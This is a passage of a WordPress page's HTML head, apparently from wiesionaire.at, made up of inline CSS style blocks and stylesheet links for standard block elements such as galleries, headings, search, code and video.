.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):where(a):active,:where(.wp-block-file__button):where(a):focus,:where(.wp-block-file__button):where(a):hover,:where(.wp-block-file__button):where(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/file/style.min.css */
</style>
<style id='wp-block-footnotes-inline-css' type='text/css'>
.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/footnotes/style.min.css */
</style>
<link rel='stylesheet' id='wp-block-gallery-css' href='https://wiesionaire.at/wp-includes/blocks/gallery/style.min.css?ver=6.9.4' type='text/css' media='all' />
<style id='wp-block-gallery-theme-inline-css' type='text/css'>
.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/gallery/theme.min.css */
</style>
<style id='wp-block-heading-inline-css' type='text/css'>
h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/heading/style.min.css */
</style>
<link rel='stylesheet' id='wp-block-image-css' href='https://wiesionaire.at/wp-includes/blocks/image/style.min.css?ver=6.9.4' type='text/css' media='all' />
<style id='wp-block-image-theme-inline-css' type='text/css'>
:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/image/theme.min.css */
</style>
<style id='wp-block-latest-comments-inline-css' type='text/css'>
ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/latest-comments/style.min.css */
</style>
<style id='wp-block-latest-posts-inline-css' type='text/css'>
.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both;overflow-wrap:break-word}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}:root :where(.wp-block-latest-posts.is-grid){padding:0}:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){padding-left:0}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/latest-posts/style.min.css */
</style>
<style id='wp-block-list-inline-css' type='text/css'>
ol,ul{box-sizing:border-box}:root :where(.wp-block-list.has-background){padding:1.25em 2.375em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/list/style.min.css */
</style>
<style id='wp-block-loginout-inline-css' type='text/css'>
.wp-block-loginout{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/loginout/style.min.css */
</style>
<link rel='stylesheet' id='wp-block-media-text-css' href='https://wiesionaire.at/wp-includes/blocks/media-text/style.min.css?ver=6.9.4' type='text/css' media='all' />
<link rel='stylesheet' id='wp-block-navigation-css' href='https://wiesionaire.at/wp-includes/blocks/navigation/style.min.css?ver=6.9.4' type='text/css' media='all' />
<style id='wp-block-navigation-link-inline-css' type='text/css'>
.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{outline:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/navigation-link/style.min.css */
</style>
<style id='wp-block-page-list-inline-css' type='text/css'>
.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/page-list/style.min.css */
</style>
<style id='wp-block-post-author-inline-css' type='text/css'>
.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-author/style.min.css */
</style>
<style id='wp-block-post-author-biography-inline-css' type='text/css'>
.wp-block-post-author-biography{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-author-biography/style.min.css */
</style>
<style id='wp-block-post-author-name-inline-css' type='text/css'>
.wp-block-post-author-name{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-author-name/style.min.css */
</style>
<style id='wp-block-post-comments-count-inline-css' type='text/css'>
.wp-block-post-comments-count{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-comments-count/style.min.css */
</style>
<style id='wp-block-post-comments-form-inline-css' type='text/css'>
:where(.wp-block-post-comments-form input:not([type=submit])),:where(.wp-block-post-comments-form textarea){border:1px solid #949494;font-family:inherit;font-size:1em}:where(.wp-block-post-comments-form input:where(:not([type=submit]):not([type=checkbox]))),:where(.wp-block-post-comments-form textarea){padding:calc(.667em + 2px)}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form :where(input[type=submit]){box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-comments-form/style.min.css */
</style>
<style id='wp-block-buttons-inline-css' type='text/css'>
.wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/buttons/style.min.css */
</style>
<style id='wp-block-post-comments-link-inline-css' type='text/css'>
.wp-block-post-comments-link{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-comments-link/style.min.css */
</style>
<style id='wp-block-post-content-inline-css' type='text/css'>
.wp-block-post-content{display:flow-root}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-content/style.min.css */
</style>
<style id='wp-block-post-date-inline-css' type='text/css'>
.wp-block-post-date{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-date/style.min.css */
</style>
<style id='wp-block-post-excerpt-inline-css' type='text/css'>
:where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-excerpt/style.min.css */
</style>
<style id='wp-block-post-featured-image-inline-css' type='text/css'>
.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image :where(img){box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-featured-image/style.min.css */
</style>
<style id='wp-block-post-navigation-link-inline-css' type='text/css'>
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-navigation-link/style.min.css */
</style>
<style id='wp-block-post-template-inline-css' type='text/css'>
.wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-template/style.min.css */
</style>
<style id='wp-block-post-terms-inline-css' type='text/css'>
.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-terms/style.min.css */
</style>
<style id='wp-block-post-time-to-read-inline-css' type='text/css'>
.wp-block-post-time-to-read{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-time-to-read/style.min.css */
</style>
<style id='wp-block-post-title-inline-css' type='text/css'>
.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/post-title/style.min.css */
</style>
<style id='wp-block-query-pagination-inline-css' type='text/css'>
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/query-pagination/style.min.css */
</style>
<style id='wp-block-query-title-inline-css' type='text/css'>
.wp-block-query-title{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/query-title/style.min.css */
</style>
<style id='wp-block-query-total-inline-css' type='text/css'>
.wp-block-query-total{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/query-total/style.min.css */
</style>
<style id='wp-block-read-more-inline-css' type='text/css'>
.wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/read-more/style.min.css */
</style>
<style id='wp-block-rss-inline-css' type='text/css'>
ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/rss/style.min.css */
</style>
<style id='wp-block-search-inline-css' type='text/css'>
.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){appearance:none;border:1px solid #949494;flex-grow:1;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){background-color:#fff;border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/search/style.min.css */
</style>
<style id='wp-block-search-theme-inline-css' type='text/css'>
.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/search/theme.min.css */
</style>
<style id='wp-block-site-logo-inline-css' type='text/css'>
.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/site-logo/style.min.css */
</style>
<style id='wp-block-site-tagline-inline-css' type='text/css'>
.wp-block-site-tagline{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/site-tagline/style.min.css */
</style>
<style id='wp-block-site-title-inline-css' type='text/css'>
.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/site-title/style.min.css */
</style>
<style id='wp-block-tag-cloud-inline-css' type='text/css'>
.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}:root :where(.wp-block-tag-cloud.is-style-outline){display:flex;flex-wrap:wrap;gap:1ch}:root :where(.wp-block-tag-cloud.is-style-outline a){border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/tag-cloud/style.min.css */
</style>
<style id='wp-block-template-part-theme-inline-css' type='text/css'>
:root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/template-part/theme.min.css */
</style>
<style id='wp-block-term-count-inline-css' type='text/css'>
.wp-block-term-count{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/term-count/style.min.css */
</style>
<style id='wp-block-term-description-inline-css' type='text/css'>
:where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/term-description/style.min.css */
</style>
<style id='wp-block-term-name-inline-css' type='text/css'>
.wp-block-term-name{box-sizing:border-box}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/term-name/style.min.css */
</style>
<style id='wp-block-term-template-inline-css' type='text/css'>
.wp-block-term-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/term-template/style.min.css */
</style>
<style id='wp-block-video-inline-css' type='text/css'>
.wp-block-video{box-sizing:border-box}.wp-block-video video{height:auto;vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/video/style.min.css */
</style>
<style id='wp-block-video-theme-inline-css' type='text/css'>
.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/video/theme.min.css */
</style>
<style id='wp-block-accordion-heading-inline-css' type='text/css'>
.wp-block-accordion-heading__toggle{align-items:center;background:none;border:none;color:inherit;cursor:pointer;display:flex;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;overflow:hidden;padding:var(--wp--preset--spacing--20,1em) 0;text-align:inherit;text-decoration:inherit;text-transform:inherit;width:100%;word-spacing:inherit}.wp-block-accordion-heading__toggle:not(:focus-visible){outline:none}.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title{text-decoration:underline}.wp-block-accordion-heading__toggle-title{flex:1}.wp-block-accordion-heading__toggle-icon{align-items:center;display:flex;height:1.2em;justify-content:center;width:1.2em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/accordion-heading/style.min.css */
</style>
<style id='wp-block-accordion-panel-inline-css' type='text/css'>
.wp-block-accordion-panel[aria-hidden=true],.wp-block-accordion-panel[inert]{display:none;margin-block-start:0}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/accordion-panel/style.min.css */
</style>
<style id='wp-block-audio-inline-css' type='text/css'>
.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/audio/style.min.css */
</style>
<style id='wp-block-audio-theme-inline-css' type='text/css'>
.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/audio/theme.min.css */
</style>
<style id='wp-block-code-inline-css' type='text/css'>
.wp-block-code{box-sizing:border-box}.wp-block-code code{
  /*!rtl:begin:ignore*/direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap
  /*!rtl:end:ignore*/}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/code/style.min.css */
</style>
<style id='wp-block-code-theme-inline-css' type='text/css'>
.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}
/*# sourceURL=https://wiesionaire.at/wp-includes/blocks/code/theme.min.css */
</style>
<style id='wp-block-columns-inline-css' type='text/css'>
